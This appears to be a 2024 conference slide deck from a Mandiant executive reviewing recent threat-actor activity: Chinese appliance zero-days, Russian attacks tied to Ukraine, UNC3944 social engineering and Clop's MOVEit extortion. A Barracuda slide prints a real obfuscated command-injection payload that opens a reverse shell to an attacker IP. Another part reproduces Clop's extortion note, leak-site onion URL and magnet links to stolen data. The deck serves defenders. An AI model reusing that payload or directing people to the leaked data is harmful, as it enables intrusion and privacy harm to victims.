Cybersecurity - The Past Five Years in Review

2024 State-of-the-Field Conference on Cyber Risk to Financial Stability

Charles Carmakal
Chief Technology Officer
Mandiant Consulting
China Cyber Espionage Operations
China Cyber Espionage Operations Overview

- Dramatically **more coordinated today** than prior to the Obama/Xi agreement
- **Share tools and techniques** across multiple groups
- Less phishing, **more exploitation of vulnerabilities** (especially 0-day vulnerabilities)
- Exploits for **0-day vulnerabilities** used at limited targets – DIB, financial services, government, telecommunications, and IT
- Less deployment of malware on Windows systems – more **malware on systems that do not have EDR** (e.g. network appliances, IOT devices, etc.)
- Access to a network of **residential IP addresses** in which they log into victim networks
Pulse Secure VPN 0-Day Exploitation (CVE-2021-22893)

- Custom malware discovered on Pulse Secure appliances in early 2021
- As we continued our investigations, we identified 16 custom malware families on Pulse Secure VPNs.
- Intrusions began at least a year prior (likely longer).
- Malware capabilities included web shells, credential harvesting, skeleton keys, and log clearing
- Malware survived reboots, firmware upgrades, and factory resets
- The threat actors’ objectives appeared to be to steal credentials, maintain long-term persistent access to victim networks, and compromise sensitive data.
Targeted Phishing Email or Spam?

To:

Subject: Working Schedule

Dear [Name],

Following up on our phone conversation, I look forward to meeting with you and your strategic planning staff on [day and time] at your office. I'd appreciate your arranging to have a screen in the conference room for me to use during my presentation.

One other request, do you think it's possible to have David Jaffe attend as well? Since he'll be signing off on the project it would be helpful to have him see my presentation.

I’ll touch base with you a few days before the meeting to reconfirm.

Sincerely,

Andy
Targeted Phishing Email or Spam?

hi,sir

to [redacted]

doc2.dat
20 KB

do you want a job?

[redacted]
Barracuda Email Security Gateway 0-Day (CVE-2023-2868)

- 0-day vulnerability in the Barracuda Email Security Gateway (CVE-2023-2868)
- The file is actually a malicious TAR file that contains a file with a filename that has an exploit payload. The vulnerability exists in the parsing of this filename.
- The exploit payload (filename) is enclosed in backticks (`) and single quotes (’) which triggers the command injection in the form of command substitution.

```
`'"abcdefg=c2V0c2lkIHNoIC1jICJta2ZpZm8gL3RtcC9wO3NoIC1pIDwvdG1wL3AgMj4mM
XxvcGVuc3NsIHNfY2xpZW50IC1xdWlldCAtY29ubmVjdCAxMDcuMTQ4LjE0OS4xNTY6ODA4
MCA+L3RtcC9wIDI+L2R1di9udWxsO3JtIC90bXAvCI=;ee=ba;G=s;_ech_o
$abcdefg_${ee}se64-d$_{G}h;wh66489.txt```

- Once deobfuscated, the payload contains the following format where the variable $abcdefg is a base64 encoded string that is decoded and executed:

```
abcdefg=c2V0c2lkIH...;echo $abcdefg | base64 -d | sh
```
- Connects to an attacker server and creates a reverse shell
Exploitation and Custom Malware Deployment

- SonicWall SMA (unknown CVE)
- SonicWall Email Security (CVE-2021-20021, CVE-2021-20022, and CVE-2021-20023)
- Fortinet (CVE-2022-42475, CVE-2022-41328, and CVE-2023-27997)
- Pulse Secure (CVE-2021-22893)
- Sophos Firewall (CVE-2022-1040)
- Citrix Application Delivery Controller (unknown CVE)
- Citrix NetScaler ADC (CVE-2023-3519)
Russian Invasion of Ukraine
Timeline of Critical Russian Intrusion Activity
Related to Ukraine

2021
Russian threat actors compromise NATO government targets to steal data of strategic interest to Russia

January/February
Destructive intrusions leading up to the Ukraine invasion

February 24
Invasion of Ukraine coupled with highly disruptive/destructive attacks against Ukrainian entities

March 21
Statement by President Biden to accelerate national cybersecurity

April and beyond...
Anticipating attacks by Russia against western critical infrastructure in retaliation for sanctions, but we haven’t seen the attacks yet

2022

©2024 Mandiant
Hacking For Fun, Fame, and Financial Gain
One of the most aggressive and prevalent threat actors to target US-based organizations

Composed of native English speaking actors

Highly effective at social engineering – telephone, SMS, instant message platforms, email, etc.

They target a wide variety of sectors like BPOs, telecommunications, fintech, gaming, hospitality, retail, professional services, etc. – but tend to focus on certain sectors for weeks at a time

Very little use of custom malware – mostly use commercial remote access tools

Leverage privileged credentials to rapidly move across on-premises and cloud environments

Highly disruptive – aggressive extortion, immature pranks, physical intimidation, and intense victim shaming

Sometimes deployed Black Cat ransomware encryptors and uses ALPHV victim shaming infrastructure
UNC3944’s Circumvention of Common Security Controls*

<table>
<thead>
<tr>
<th>ATTACK</th>
<th>CHALLENGE</th>
</tr>
</thead>
</table>
| • Sending phishing text messages to an employee’s personal mobile phone number and tricking victims to visit credential harvesting / adversary in the middle phishing pages from their mobile devices | • No ability for the organization to monitor inbound SMS messages for phishing content  
• Network traffic generally traverses through the cellular or employee’s home network |
| • Deploying virtual machines in cloud or on-premises environments to perform malicious actions | • An organization’s standard security suite, such as EDR, won't be deployed, so it won’t detect or block malicious tools |
| • Deploying ransomware encryptors on ESXi hypervisors                   | • Lack of EDR support for ESXi to detect and block encryptor deployment |
| • Adding rogue/malicious identity providers to Azure Active Directory or other cloud providers to enable golden SAML attacks | • Not a well known technique that network defenders look for yet |
| • Leveraging stolen credentials and cookies from personal systems infected with infostealing malware where employees access corporate resources | • Inability for an organization to monitor employee’s personal systems |
| • Deploying commercially available remote access tools                  | • EDR and antivirus solutions won’t block these tools by default |

*This table represents general observations, but there are many exceptions and nuances.
Mass Exploitation & Extortion
MOVEit Mass Exploitation

DEAR COMPANIES,

CLOP IS ONE OF TOP ORGANIZATION OFFER PENETRATION TESTING SERVICE AFTER THE FACT

THIS IS ANNOUNCEMENT TO EDUCATE COMPANIES WHO USE PROGRESS MOVEIT PRODUCT THAT CHANCE IS THAT WE DOWNLOAD ALOT OF YOUR DATA AS PART OF EXCEPTIONAL EXPLOIT. WE ARE THE ONLY ONE WHO PERFORM SUCH ATTACK AND RELAX BECAUSE YOUR DATA IS SAFE

WE ARE TO PROCEED AS FOLLOW AND YOU SHOULD PAY ATTENTION TO AVOID EXTRAORDINARY MEASURES TO IMPACT YOU COMPANY.

IMPORTANT! WE DO NOT WISH TO SPEAK TO MEDIA OR RESEARCHERS, LEAVE.

STEP 1 - IF YOU HAD MOVEIT SOFTWARE CONTINUE TO STEP 2 ELSE LEAVE.
STEP 2 - EMAIL OUR TEAM UNLOCK@RSV-BOX.COM OR UNLOCK@SUPPORT-MULT.COM
STEP 3 - OUR TEAM WILL EMAIL YOU WITH DEDICATED CHAT URL OVER TOR

WE HAVE INFORMATION ON HUNDREDS OF COMPANIES SO OUR DISCUSSION WILL WORK VERY SIMPLE
MOVEit Mass Exploitation

- Clop (FIN11) identified a 0-day vulnerability in the MOVEit managed file transfer software
- Conducted broad exploitation and data theft of hundreds of instances since May 27, 2023 – before the patch was released
- The threat actor is financially motivated and extorted hundreds of companies
- Overwhelmed with the volume of victims
- Previously mass exploited vulnerabilities in Accellion FTA and Fortra GoAnywhere MFTs
FIN11 Victim Shaming Site

Warning:

The company doesn’t care about its customers, it ignored their security!!!

FILES PART1
DOWNLOAD1
DOWNLOAD2
DOWNLOAD3
DOWNLOAD4
DOWNLOAD5

FILES PART2
DOWNLOAD1
DOWNLOAD2
DOWNLOAD3
DOWNLOAD4
DOWNLOAD5
DOWNLOAD6
FIN11 Victim Shaming Site

Warning:
The company doesn’t care about its customers, it ignored their security!!!

FILES PART1
DOWNLOAD1
DOWNLOAD2
DOWNLOAD3
DOWNLOAD4
DOWNLOAD5

FILES PART2
DOWNLOAD1
DOWNLOAD2
DOWNLOAD3
DOWNLOAD4
DOWNLOAD5
DOWNLOAD6

This site can’t be reached
The webpage at http://amnwxasjtjc6e42slac6t45mhbkgtycrx5krv7sf5festvqxmnchuayd.onion/3/heidelberg/1.zip might be temporarily down or it may have moved permanently to a new web address.
ERR_SOCKS_CONNECTION_FAILED
### FIN11 Victim Shaming Site - Torrents

#### Step 1: Download and install a uTorrent client
(If you don’t already have it)
Or any other torrent client that you prefer.

#### Step 2: Run uTorrent and select File > Add Torrent from URL

Paste magnet URL to the Add Torrent from URL dialog box and click OK button.

<table>
<thead>
<tr>
<th>COMPANY</th>
<th>LOGO</th>
<th>MAGNET LINK (CLICK TO COPY)</th>
</tr>
</thead>
<tbody>
<tr>
<td>com</td>
<td><img src="https://example.com/com_logo.png" alt="com Logo" /></td>
<td>[magnet:?xt=urn:btih:65a76a2c7016bb487dc08650123e5ed105160848858]</td>
</tr>
<tr>
<td>fr</td>
<td><img src="https://example.com/fr_logo.png" alt="fr Logo" /></td>
<td>[magnet:?xt=urn:btih:df289f89f1c7a13e0b1052c05a8310b46a32096d]</td>
</tr>
<tr>
<td>group</td>
<td><img src="https://example.com/group_logo.png" alt="group Logo" /></td>
<td>[magnet:?xt=urn:btih:72b389ea0a8e76e77e4a8e89bdf05f0e310be87b]</td>
</tr>
<tr>
<td>com</td>
<td><img src="https://example.com/com_logo.png" alt="com Logo" /></td>
<td>[magnet:?xt=urn:btih:ba2806d9a7b8b974f337ac03e74625f9f310be87b]</td>
</tr>
<tr>
<td>group</td>
<td><img src="https://example.com/group_logo.png" alt="group Logo" /></td>
<td>[magnet:?xt=urn:btih:477e76b9c80d1bea1709de92533f105d61d5d]</td>
</tr>
<tr>
<td>com</td>
<td><img src="https://example.com/com_logo.png" alt="com Logo" /></td>
<td>[magnet:?xt=urn:btih:e1f4cf13a3a6f5717b86b8abb46ba304d6a3ac8]</td>
</tr>
</tbody>
</table>
Extortion Payment Considerations
## Extortion Payment Considerations

<table>
<thead>
<tr>
<th></th>
<th>Question</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>How quickly can you recover your systems and data without a decryptor?</td>
</tr>
<tr>
<td>2</td>
<td>How reliable is the threat actor? Does the threat actor have a history of re-extortion or going back on their word?</td>
</tr>
<tr>
<td>3</td>
<td>Did the threat actor steal data before they deployed their encryptors? How sensitive is the data that they stole?</td>
</tr>
<tr>
<td>4</td>
<td>Does the threat actor still have active access to your network?</td>
</tr>
<tr>
<td>5</td>
<td>Will cybersecurity insurance cover the claim?</td>
</tr>
<tr>
<td>6</td>
<td>Is the threat actor sanctioned by the government?</td>
</tr>
<tr>
<td>7</td>
<td>Does the threat actor have a history of harassing or physically intimidating employees?</td>
</tr>
<tr>
<td>8</td>
<td>How valuable is the data that was stolen? What kind of harm would be imposed on the victim or their partners/customers?</td>
</tr>
<tr>
<td>9</td>
<td>Will the threat actor leverage mainstream media to cause significant reputational impact?</td>
</tr>
</tbody>
</table>

Organizations should evaluate these considerations and make a business determination on whether to pay or not.
Global Law Enforcement Actions
Global Law Enforcement Actions - Lockbit
Global Law Enforcement Actions - Lockbit
Outcomes of Global Law Enforcement Actions

- Multiple high-profile **global law enforcement actions** taken against threat actors – ALPHV and Lockbit
- **Decryptors** silently made available to victims
- Created **significant distrust** among affiliates
- The data collected will help **future law enforcement operations**
- **Embarrassed** the ego-driven threat actors
Questions and open discussion

Charles Carmakal
Chief Technology Officer
Mandiant Consulting
charles.carmakal@mandiant.com
+1 864 735 7242
https://www.linkedin.com/in/charlescarmakal